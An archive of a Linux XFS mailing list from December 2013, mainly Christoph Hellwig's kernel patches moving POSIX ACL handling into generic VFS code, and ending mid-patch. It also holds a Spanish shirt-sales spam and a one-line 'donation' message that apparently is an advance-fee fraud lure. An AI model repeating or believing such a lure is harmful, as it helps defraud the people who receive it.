From ventas.scz@onsite.com.bo Sun Dec 1 00:47:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.9 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO,HTML_IMAGE_ONLY_32,HTML_MESSAGE,SUBJ_ALL_CAPS, UPPERCASE_50_75 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B8DA7F3F for ; Sun, 1 Dec 2013 00:47:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 530BE304039 for ; Sat, 30 Nov 2013 22:47:48 -0800 (PST) X-ASG-Debug-ID: 1385880454-04cbb0416740f320001-w1Z2WR Received: from OSAD01.onsite.com.bo (osad01.onsite.com.bo [190.186.111.118]) by cuda.sgi.com with ESMTP id hLVGmAtUuCoRKeoZ for ; Sat, 30 Nov 2013 22:47:36 -0800 (PST) X-Barracuda-Envelope-From: ventas.scz@onsite.com.bo X-Barracuda-Apparent-Source-IP: 190.186.111.118 Received: from osad01 ([190.186.111.118]) by OSAD01.onsite.com.bo with Microsoft SMTPSVC(6.0.3790.4675); Sun, 1 Dec 2013 02:41:38 -0400 From: "TUS HEROES MAS SERCA QUE NUNCA" Subject: HAGA SU PEDIDO CON ANTICIPACION EN ESTAS FIESTAS To: "linux-xfs" X-ASG-Orig-Subj: HAGA SU PEDIDO CON ANTICIPACION EN ESTAS FIESTAS Content-Type: multipart/alternative; boundary="Y3csS2wIh1XEDPbTh=_21J6cvTUcXjirP1" MIME-Version: 1.0 Reply-To: "=?UTF-8?B?UG9sZXJhcyBkZSBuacOxb3M=?=" Organization: ONSITE Date: Sun, 1 Dec 2013 02:41:38 -0400 Message-ID: X-OriginalArrivalTime: 01 Dec 2013 06:41:38.0687 (UTC) FILETIME=[631450F0:01CEEE60] X-Barracuda-Connect: osad01.onsite.com.bo[190.186.111.118] X-Barracuda-Start-Time: 1385880454 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.31 X-Barracuda-Spam-Status: No, SCORE=2.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.81 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase This is a multi-part message in MIME format --Y3csS2wIh1XEDPbTh=_21J6cvTUcXjirP1 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline VENTA DE POLERAS, CALZAS, GORRAS CON DISE=C3=91OS DE TUS HEROES FAVORITOS TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARGA Y MANGA CERO ENVIO A DOMICILIO SIN RECARGO PRECIO DESDE 80 Bs.(Manga Cero), 100 Bs. (Manga Corta), Y 120 BS(Manga= Larga),=20 DISE=C3=91OS DE: DOKI, CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Spac= e, Star Wars, Heroes, etc.), SPIDERMAN, NINJAS, PLANTS Vs ZOMBIES, MONSTER HIGH, MINIE, TINKER BELL= , PRINCESAS, ETC. LOS DISE=C3=91OS SON DE ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METE= R A LA LAVADORA, NO SE DESPINTAN, NO SE ESTIRAN, NO SE RAJAN NI SE DESPRENDEN - GARANTI= ZADOS HAGA SU PEDIDO AL 71331700 - 71331500 - 3538163 O Escribanos a: ventas.scz@hotmail.com - mariadelcarmenbarreto@hotmail= =2Ecom =20 =20 =20 =20 Para desuscribirse de nuestras listas por favor escribanos a: remover@= onsite.com.bo MUCHAS GRACIAS POR RECIBIR NUESTRA PUBLICIDAD --Y3csS2wIh1XEDPbTh=_21J6cvTUcXjirP1 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

VENTA DE POLERAS, CALZAS, GOR= RAS

CON DISE=C3=91OS DE TUS HEROE= S FAVORITOS

TENEMOS EN TODAS LAS TALLAS, MANGA CORTA, MANGA LARG= A Y MANGA CERO

ENVIO A DOMICILIO SIN = RECARGO

PRECIO DESDE 80 Bs.(Manga Cero), 100 Bs. (Manga Cort= a), Y 120 BS(Manga Larga),

DISE=C3=91OS DE: DOKI,= CARS, BEN10, MARIO, AVENGERS, ANGRY BIRDS (Space, Star Wars, Heroes, = etc.),

SPIDERMAN, NINJAS, PLA= NTS Vs ZOMBIES, MONSTER HIGH, MINIE, TINKER BELL, PRINCESAS, ETC.

LOS DISE=C3=91OS SON D= E ALTA CALIDAD, ALUMBRAN DE NOCHE, SE PUEDE METER A LA LAVADORA,

NO SE DESPINTAN, NO SE= ESTIRAN, NO SE RAJAN NI SE DESPRENDEN - GARANTIZADOS

HAGA SU PEDIDO AL 7133= 1700  -  71331500 - 3538163

O Escribanos a: venta= s.scz@hotmail.com - maria= delcarmenbarreto@hotmail.com

3D"" 3D"" 3D""

3D"" 3D"" 3D""

3D"" 3D"" 3D""

3D"" 3D"" 3D""

Para desuscribirse de nuestras listas por favor escr= ibanos a: remover@onsite.com.= bo

MUCHAS GRACIAS POR RECIBIR NUESTRA PUBLICIDAD

 

 

 

--Y3csS2wIh1XEDPbTh=_21J6cvTUcXjirP1-- From edarosa@sdccd.edu Sun Dec 1 05:00:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 022E37FB3 for ; Sun, 1 Dec 2013 05:00:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C7517304051 for ; Sun, 1 Dec 2013 03:00:06 -0800 (PST) X-ASG-Debug-ID: 1385895604-04bdf06eef421a00001-w1Z2WR Received: from smtp2.sdccd.edu (smtp2.sdccd.edu [209.129.16.222]) by cuda.sgi.com with ESMTP id IlgHk9Ll6ALoGgEC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 03:00:05 -0800 (PST) X-Barracuda-Envelope-From: edarosa@sdccd.edu X-Barracuda-Apparent-Source-IP: 209.129.16.222 Received: from pps.filterd (smtp2.sdccd.edu [127.0.0.1]) by smtp2.sdccd.edu (8.14.5/8.14.5) with SMTP id rB1AvfDP022967; Sun, 1 Dec 2013 02:57:41 -0800 Received: from htx2.sdccd.loc (htx2.sdccd.loc [10.5.100.237]) by smtp2.sdccd.edu with ESMTP id 1g4fd5b097-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Sun, 01 Dec 2013 02:57:41 -0800 Received: from MBX3.sdccd.loc ([fe80::d422:bef4:13a0:631f]) by HTX2.sdccd.loc ([::1]) with mapi id 14.03.0158.001; Sun, 1 Dec 2013 02:57:39 -0800 From: Eulalia Darosa To: Eulalia Darosa Subject: RE: FYI Thread-Topic: FYI X-ASG-Orig-Subj: RE: FYI Thread-Index: AQHO7oBqRsGaG2opnkKdjEwrx5c7Upo/JAGOgAAAYLaAAAa+ig== Date: Sun, 1 Dec 2013 10:57:38 +0000 Message-ID: References: ,, In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [172.245.45.19] Content-Type: multipart/alternative; boundary="_000_DF21512CDD67E84EAD8C9DC2672840111A84A0MBX3sdccdloc_" MIME-Version: 1.0 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.72,1.0.14,0.0.0000 definitions=2013-12-01_01:2013-11-29,2013-12-01,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 suspectscore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1312010017 X-Barracuda-Connect: smtp2.sdccd.edu[209.129.16.222] X-Barracuda-Start-Time: 1385895605 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142753 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address --_000_DF21512CDD67E84EAD8C9DC2672840111A84A0MBX3sdccdloc_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Mrs Maria Carreiro has a donation for you contact her (maria_carreiro@roger= s.com) for more details --_000_DF21512CDD67E84EAD8C9DC2672840111A84A0MBX3sdccdloc_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Mrs Maria Carreiro has a donation for you contact her (maria_carrei= ro@rogers.com) for more details 
--_000_DF21512CDD67E84EAD8C9DC2672840111A84A0MBX3sdccdloc_-- From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B708F7F55 for ; Sun, 1 Dec 2013 06:07:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 87A658F8049 for ; Sun, 1 Dec 2013 04:07:09 -0800 (PST) X-ASG-Debug-ID: 1385899626-04bdf06eef424cf0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id citbaP61OXReUcl5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5na-0003c4-UR; Sun, 01 Dec 2013 12:06:54 +0000 Message-Id: <20131201120654.812851020@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:10 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 07/18] btrfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 07/18] btrfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0007-btrfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899626 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/btrfs/acl.c | 135 ++++++++---------------------------------------------- fs/btrfs/ctree.h | 7 +-- fs/btrfs/inode.c | 7 ++- fs/btrfs/xattr.c | 5 +- fs/btrfs/xattr.h | 2 - 5 files changed, 29 insertions(+), 127 deletions(-) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index b56519d..c76c900 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -76,31 +76,10 @@ struct posix_acl *btrfs_get_acl(struct inode *inode, int type) return acl; } -static int btrfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int ret = 0; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - acl = btrfs_get_acl(dentry->d_inode, type); - - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return ret; -} - /* * Needs to be called with fs_mutex held */ -static int btrfs_set_acl(struct btrfs_trans_handle *trans, +static int __btrfs_set_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct posix_acl *acl, int type) { int ret, size = 0; @@ -158,35 +137,9 @@ out: return ret; } -static int btrfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - int ret; - struct posix_acl *acl = NULL; - - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto out; - } - } - - ret = btrfs_set_acl(NULL, dentry->d_inode, acl, type); -out: - posix_acl_release(acl); - - return ret; + return __btrfs_set_acl(NULL, inode, acl, type); } /* @@ -197,83 +150,31 @@ out: int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int ret = 0; /* this happens with subvols */ if (!dir) return 0; - if (!S_ISLNK(inode->i_mode)) { - if (IS_POSIXACL(dir)) { - acl = btrfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } + ret = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (ret) + return ret; - if (!acl) - inode->i_mode &= ~current_umask(); + if (default_acl) { + ret = __btrfs_set_acl(trans, inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - if (IS_POSIXACL(dir) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = btrfs_set_acl(trans, inode, acl, - ACL_TYPE_DEFAULT); - if (ret) - goto failed; - } - ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (ret < 0) - return ret; - - if (ret > 0) { - /* we need an acl */ - ret = btrfs_set_acl(trans, inode, acl, ACL_TYPE_ACCESS); - } else if (ret < 0) { - cache_no_acl(inode); - } - } else { - cache_no_acl(inode); + if (acl) { + if (!ret) + ret = __btrfs_set_acl(trans, inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); } -failed: - posix_acl_release(acl); - - return ret; -} -int btrfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int ret = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!IS_POSIXACL(inode)) - return 0; - - acl = btrfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR_OR_NULL(acl)) - return PTR_ERR(acl); - - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); - posix_acl_release(acl); + if (!default_acl && !acl) + cache_no_acl(inode); return ret; } - -const struct xattr_handler btrfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; - -const struct xattr_handler btrfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h index 54ab861..7506825 100644 --- a/fs/btrfs/ctree.h +++ b/fs/btrfs/ctree.h @@ -3899,20 +3899,17 @@ do { \ /* acl.c */ #ifdef CONFIG_BTRFS_FS_POSIX_ACL struct posix_acl *btrfs_get_acl(struct inode *inode, int type); +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir); -int btrfs_acl_chmod(struct inode *inode); #else #define btrfs_get_acl NULL +#define btrfs_set_acl NULL static inline int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { return 0; } -static inline int btrfs_acl_chmod(struct inode *inode) -{ - return 0; -} #endif /* relocation.c */ diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c index f1a7744..972e12b 100644 --- a/fs/btrfs/inode.c +++ b/fs/btrfs/inode.c @@ -4464,7 +4464,7 @@ static int btrfs_setattr(struct dentry *dentry, struct iattr *attr) err = btrfs_dirty_inode(inode); if (!err && attr->ia_valid & ATTR_MODE) - err = btrfs_acl_chmod(inode); + err = posix_acl_chmod(inode); } return err; @@ -8649,12 +8649,14 @@ static const struct inode_operations btrfs_dir_inode_operations = { .removexattr = btrfs_removexattr, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_dir_ro_inode_operations = { .lookup = btrfs_lookup, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; @@ -8724,6 +8726,7 @@ static const struct inode_operations btrfs_file_inode_operations = { .permission = btrfs_permission, .fiemap = btrfs_fiemap, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_special_inode_operations = { @@ -8735,6 +8738,7 @@ static const struct inode_operations btrfs_special_inode_operations = { .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_symlink_inode_operations = { @@ -8749,6 +8753,7 @@ static const struct inode_operations btrfs_symlink_inode_operations = { .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c index 05740b9..3d1c301 100644 --- a/fs/btrfs/xattr.c +++ b/fs/btrfs/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "ctree.h" #include "btrfs_inode.h" #include "transaction.h" @@ -313,8 +314,8 @@ err: */ const struct xattr_handler *btrfs_xattr_handlers[] = { #ifdef CONFIG_BTRFS_FS_POSIX_ACL - &btrfs_xattr_acl_access_handler, - &btrfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL, }; diff --git a/fs/btrfs/xattr.h b/fs/btrfs/xattr.h index b3cc803..5049608 100644 --- a/fs/btrfs/xattr.h +++ b/fs/btrfs/xattr.h @@ -21,8 +21,6 @@ #include -extern const struct xattr_handler btrfs_xattr_acl_access_handler; -extern const struct xattr_handler btrfs_xattr_acl_default_handler; extern const struct xattr_handler *btrfs_xattr_handlers[]; extern ssize_t __btrfs_getxattr(struct inode *inode, const char *name, -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 35BC67F57 for ; Sun, 1 Dec 2013 06:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 16A418F8049 for ; Sun, 1 Dec 2013 04:07:09 -0800 (PST) X-ASG-Debug-ID: 1385899626-04cb6c537e41c8e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id fl6lGvIE6OSp2aOy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5na-0003Zs-58; Sun, 01 Dec 2013 12:06:54 +0000 Message-Id: <20131201120654.027611567@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:06 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 03/18] fs: add a set_acl inode operation References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 03/18] fs: add a set_acl inode operation Content-Disposition: inline; filename=0003-fs-add-a-set_acl-inode-operation.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1385899627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This will allow moving all the Posix ACL handling into the VFS and clean up tons of cruft in the filesystems. Signed-off-by: Christoph Hellwig --- include/linux/fs.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 121f11f..09f553c 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1580,6 +1580,7 @@ struct inode_operations { struct file *, unsigned open_flag, umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); + int (*set_acl)(struct inode *, struct posix_acl *, int); } ____cacheline_aligned; ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8340D7F58 for ; Sun, 1 Dec 2013 06:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 601E9304039 for ; Sun, 1 Dec 2013 04:07:10 -0800 (PST) X-ASG-Debug-ID: 1385899625-04cbb041694218f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id WLUuKfkeOR86iv6S (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nZ-0003Ym-Q2; Sun, 01 Dec 2013 12:06:53 +0000 Message-Id: <20131201120653.694912626@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:04 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ Content-Disposition: inline; filename=0001-reiserfs-prefix-ACL-symbols-with-reiserfs_.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899626 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/reiserfs/xattr_acl.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 06c04f7..6f721ea 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -16,7 +16,7 @@ static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct posix_acl *acl); static int -posix_acl_set(struct dentry *dentry, const char *name, const void *value, +reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int type) { struct inode *inode = 